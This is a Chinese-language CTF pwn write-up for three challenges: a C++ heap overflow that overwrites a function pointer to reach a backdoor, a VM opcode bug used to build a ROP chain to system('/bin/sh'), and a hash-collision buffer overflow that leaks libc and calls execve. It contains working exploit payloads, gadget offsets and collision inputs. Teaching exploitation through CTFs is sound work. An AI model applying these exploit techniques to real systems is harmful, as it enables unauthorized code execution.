第十八届信息安全大赛 && 第二届长城杯 - pwn
字数 1014 2025-08-22 12:22:15
C++堆溢出与虚拟机漏洞利用技术分析
1. C++堆溢出漏洞利用案例
1.1 漏洞分析
这个C++堆题目存在以下关键漏洞点:
-
堆大小不一致问题:
- 申请堆大小为0x1c
- 但edit修改时判断大小为40(0x28)
- mem_copy使用0x20大小进行复制
-
溢出机会:
- 这种不一致导致堆溢出漏洞
- 可以通过上一个堆溢出覆盖下一个堆的指针函数
-
后门利用:
- 题目自带backdoor函数(地址0x80489CE)
- 通过溢出覆盖函数指针可以调用后门
1.2 利用步骤
-
堆布局:
create() # 创建第一个堆块 create() # 创建第二个堆块 -
泄露堆地址:
heap_addr = show(0) # 通过show功能泄露堆地址 -
构造payload:
payload = p32(backdoor) # 放置后门地址 payload = payload.ljust(0x10 + 0x4, b'a') # 填充到指定偏移 payload += p32(0x21) + p32(heap_addr + 0x8) # 伪造堆块元数据 -
触发溢出:
edit(0, payload) # 通过edit功能触发溢出 edit(1, b'a') # 触发被覆盖的函数指针
2. 虚拟机漏洞利用案例
2.1 漏洞分析
这个虚拟机题目存在以下关键问题:
-
边界检查缺失:
- if判断等于没检查
- 最大unsigned int8是0xff,可以栈上溢出
-
MOV操作问题:
- mov_stack操作可以溢出
- 可以取出libc地址
-
利用思路:
- 用基础操作构造ROP链
- 将ROP写入栈上完成劫持
2.2 虚拟机操作码构造
class opcodetor:
def __init__(self):
self.opcode = b''
# 各种虚拟机指令构造方法
def vmadd(self, res, a, b):
argv = (res & 0x1f) + ((b & 0x1f) << 5) + (a << 0x10) + (1 << 0x1c)
self.opcode += p32(argv)
def vmsub(self, res, a, b):
argv = (res & 0x1f) + ((a & 0x1f) << 5) + (b << 0x10) + (2 << 0x1c)
self.opcode += p32(argv)
# 其他指令类似...
2.3 利用步骤
-
设置关键地址:
str_bin_sh = 0x00000000001d8678 rdi_ret = 0x000000000002a3e5 system_addr = 0x50d70 base_offset = 0x29d90 -
构造ROP链:
op = opcodetor() op.vm_mov_stack(1, 0, 0xd38) # 设置栈指针 op.vm_mov_stack(2, 0, 0x3a8) # str_bin_sh # 其他设置... -
计算关键地址:
op.vmsub(6, 1, 5) # 计算基址 op.vmadd(7, 6, 3) # 计算rdi_ret地址 # 其他计算... -
写入内存:
op.vm_mov_mem(8, 0, 0xd38) # 写入ROP链 op.vm_mov_mem(7, 0, 0xd38 + 8) # 其他写入... -
填充payload:
op.opcode = op.opcode.ljust(0x280, b'\x00') op.opcode += p64(0xdeadbeef) # 填充 op.opcode += p64(str_bin_sh) op.opcode += p64(rdi_ret) op.opcode += p64(system_addr) op.opcode += p64(base_offset) op.opcode += p64(1)
3. unordered_map哈希冲突利用案例
3.1 漏洞分析
-
数据结构问题:
- 使用unordered_map存储数据
- unordered_map底层使用哈希表,哈希冲突时会链式存储
-
溢出点:
- 复制功能在哈希冲突时会复制多个键值对
- 每个键值对大小为0x1f
- 目标缓冲区距离rbp只有0x140,可导致溢出
-
利用思路:
- 通过精心构造的输入制造哈希冲突
- 利用溢出覆盖返回地址
3.2 哈希冲突生成
num_list = [100, 19924, 320824, 60398, 92612, 221291, 164120, 142408,
233268, 210081, 187012, 287902, 296870, 247782, 1988,
113675, 121581, 130372, 27358, 192735, 189844, 152202,
230082, 172262]
3.3 利用步骤
-
初始布局:
p.recvuntil(b'Author') payload = b'a' * (0x50) payload += p64(puts_got) * 2 + p64(puts_plt) payload += p64(0x4027A3) p.sendline(payload) -
制造哈希冲突:
for i in range(len(num_list)): if (num_list[i] == 0x2528a): part1(num_list[i], bss) continue if (i < 0x10): part1(num_list[i], 0x10 + i) else: part1(num_list[i], 0x4025BE) -
触发溢出:
part2(num_list[0]) -
泄露libc地址:
libc_addr = u64_fix(p) libcbase = libc_addr - 0x80e50 -
构造最终payload:
p.recvuntil(b'Author') payload = p64(bss + 0x500) * (48 // 8) payload += p64(rsi_ret) + p64(0) + p64(rdx_r12_ret) + p64(0) * 2 payload += p64(execve) p.sendline(payload)
4. 关键技术与技巧总结
-
堆利用技巧:
- 利用大小不一致制造溢出
- 通过信息泄露获取堆布局
- 精心构造伪造的堆元数据
-
虚拟机利用技巧:
- 理解虚拟机指令编码方式
- 通过虚拟机指令构造任意读写原语
- 结合ROP技术实现完整利用
-
哈希冲突利用技巧:
- 研究目标哈希算法特性
- 生成大量冲突键值
- 利用冲突导致的缓冲区溢出
-
通用技巧:
- 利用程序自带的后门函数
- 栈迁移技术应对有限空间
- 多阶段利用实现信息泄露和最终控制
这些案例展示了不同类型漏洞的利用方法,从堆溢出到虚拟机漏洞,再到哈希冲突导致的溢出,每种情况都需要针对性的分析和利用策略。